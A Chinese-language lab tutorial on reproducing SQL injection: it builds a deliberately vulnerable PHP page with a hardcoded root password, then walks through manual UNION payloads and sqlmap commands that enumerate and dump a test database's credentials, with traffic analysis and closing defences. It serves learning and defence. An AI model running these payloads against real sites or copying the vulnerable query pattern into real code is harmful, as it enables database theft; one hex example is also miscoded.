sql注入漏洞复现

0x00 sql注入

SQL注入是用户从正常的www访问通过全局变量POST和GET提交一些sql语句对数据库的数据进行操作。

0x01 环境搭建

安装MariaDB、PHP、Apache环境:

安装MariaDB:

1
sudo yum install -y mysql mysql-server

安装apache:

1
sudo yum install -y httpd

安装php:

1
sudo yum install -y php

安装php的一些组件:

1
sudo yum install -y php-gd libjpeg* php-imap php-ldap php-odbc php-pear php-mysqlnd

安装完成后编辑配置文件,然后重启httpd和mariadb。

0x02 搭载存在SQL注入的php页面

首先输入mysql -u root -p
然后输入密码进入数据库,创建一个test的数据库,然后在test里创建一个名为users的表单,表单中写入如下三组数据作为测试数据。

然后在/var/www/html目录创建select.php
在select.php中写入一个存在SQL注入的代码段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "test";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$id= $_GET['x'];//接受get传递的参数名x的值并赋值给变量id
$sql = "select * from users where id=$id";//定义sql语句并组合变量id
$result = $conn->query($sql);
while($row = $result->fetch_assoc()) {
echo "Id: " . $row["id"]. " Name: " . $row["username"]. "<br>";
}
$conn->close();
?>

这段代码的作用是读取一个输入的变量id,然后通过id查询数据库中这个id对应的username。

测试一下效果,通过读入x=1出现下面结果说明成功。

0x03 手工注入

(1)判断是否存在SQL注入

与一个正确的式子时,结果不变。

与一个错误的式子,结果改变,说明存在注入点。

(2)当前数据库权限判断
提交and ord(mid(user(),1,1))=114如果页面正常则为root权限,下图可以看出是root权限

(3)判断字段数
提交union select * from users order by 数字填猜测的字段数,下图可见,填4可以正常显示,填5不能,所以字段数是4个。

(4)获取数据库库名
获取字段数之后,我们就构造 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata来查询所有数据库名

这里的1一直到4,就是之前找到的四个字段,然后information_schema库的schemata表中的schema_name字段就存着数据库名。

(5)获取数据库表名
获取数据库名之后,我们就构造 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=0x76657374来查询test数据库下的所有表名

这里的1一直到4,就是之前找到的四个字段,然后information_schema库的tables表中的table_name字段就存着表名,where后面的限定条件用来选择数据库,等号后面填数据库ascii编码的十六进制(如test是0x76657374)。

(6)获取数据库字段名
获取数据库名和表名之后,我们就构造 and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name=0x7573657273 and table_schema=0x76657374来查询test数据库下users表中的所有字段名。

这里的1一直到4,就是之前找到的四个字段,然后information_schema库的columns表中的column_name字段就存着字段名,where后面的限定条件用来选择数据库和对应表,等号后面填数据库和表的ascii编码的十六进制(如test是0x76657374,users是0x7573657273)。

(7)获取数据
已经获取了字段名和其顺序,我们知道了之前输出的位置是1,2号位的id和username,然后我们需要输出password和email到1,2号位,所以构造
and 1=2 union select email,password,3,4 from test.users
来查询test数据库下users表的email和password,获取这些数据。

0x04 sqlmap注入

使用sqlmap时我们有以下几种探测方式
参数:–technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:

  • B: Boolean-based blind SQL injection(布尔型注入)
  • E: Error-based SQL injection(报错型注入)
  • U: UNION query SQL injection(可联合查询注入)
  • S: Stacked queries SQL injection(可多语句查询注入)
  • T: Time-based blind SQL injection(基于时间延迟注入)

我们先用默认方式测试一下:

先查看有哪些数据库:
sqlmap -u “192.168.0.104/select.php?x=1” –dbs

然后查看test数据库中的所有表:
sqlmap -u “192.168.0.104/select.php?x=1” -D test –tables

然后查看users表中所有字段:
sqlmap -u “192.168.0.104/select.php?x=1” –D test -T users –columns

然后查看password字段中所有值:
sqlmap -u “192.168.0.104/select.php?x=1” –D test -T users -C password –dump

0x05 抓包分析

我们再对其中几种注入方式进行抓包分析:

  • sqlmap Union注入

    可联合查询注入,通过UNION查询获取到所有想要的数据。

    使用场景:请求返回后能输出SQL执行后查询到的所有内容。

    sqlmap -u “192.168.43.63/select.php?x=1” -D test –tables –technique=U

从wireshrak抓包可以看到,只通过http请求从返回的信息中获取数据。

  • sqlmap Boolean Based注入

    布尔型注入,可以根据返回页面判断条件真假的注入。

    使用场景:我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。

    sqlmap -u “192.168.43.63/select.php?x=1”–dbs –technique=B

从wireshark抓包我们可以看到,sqlmap一直在构造逻辑,然后通过反回的Error(500)或者ok(200)来得到信息。

  • sqlmap Time Based注入

    基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

    应用场景 : 页面不会返回错误信息,不会输出UNION注入所查出来的泄露的信息。类似搜索这类请求,boolean注入也无能为力,因为搜索返回空也属于正常的,这时就得采用time-based的注入了,即判断请求响应的时间,但该类型注入获取信息的速度非常慢。

    sqlmap -u “192.168.43.63/select.php?x=1” –dbs –technique=T –flush-session

    因为之前已经抓取到了数据库,为了防止结果影响,在这里加入–flush-session参数来清空之前的session,重新测试该目标。

从wireshark中可以看出,sqlmap在构造sleep函数,不通过返回来判断结果,而是通过返回的时间是否在预期内来判断是否存在注入点。

0x08 危害

  • 入侵者可以通过网页来提交mysql语句对公司数据库敏感数据进行读取,配合python脚本可以获取整个数据库的数据。
  • 入侵者可以对公司数据库数据进行篡改,造成巨大损失。
  • 入侵者可以私自添加系统账号或是数据库使用者账号,拿到webshell,然后进而控制整个web服务器。

0x09 应对方案

  • 1.对输入参数进行验证

  • 2.特殊字符过滤

  • 3.使用参数化语句,不要拼接sql

  • 4.编码输出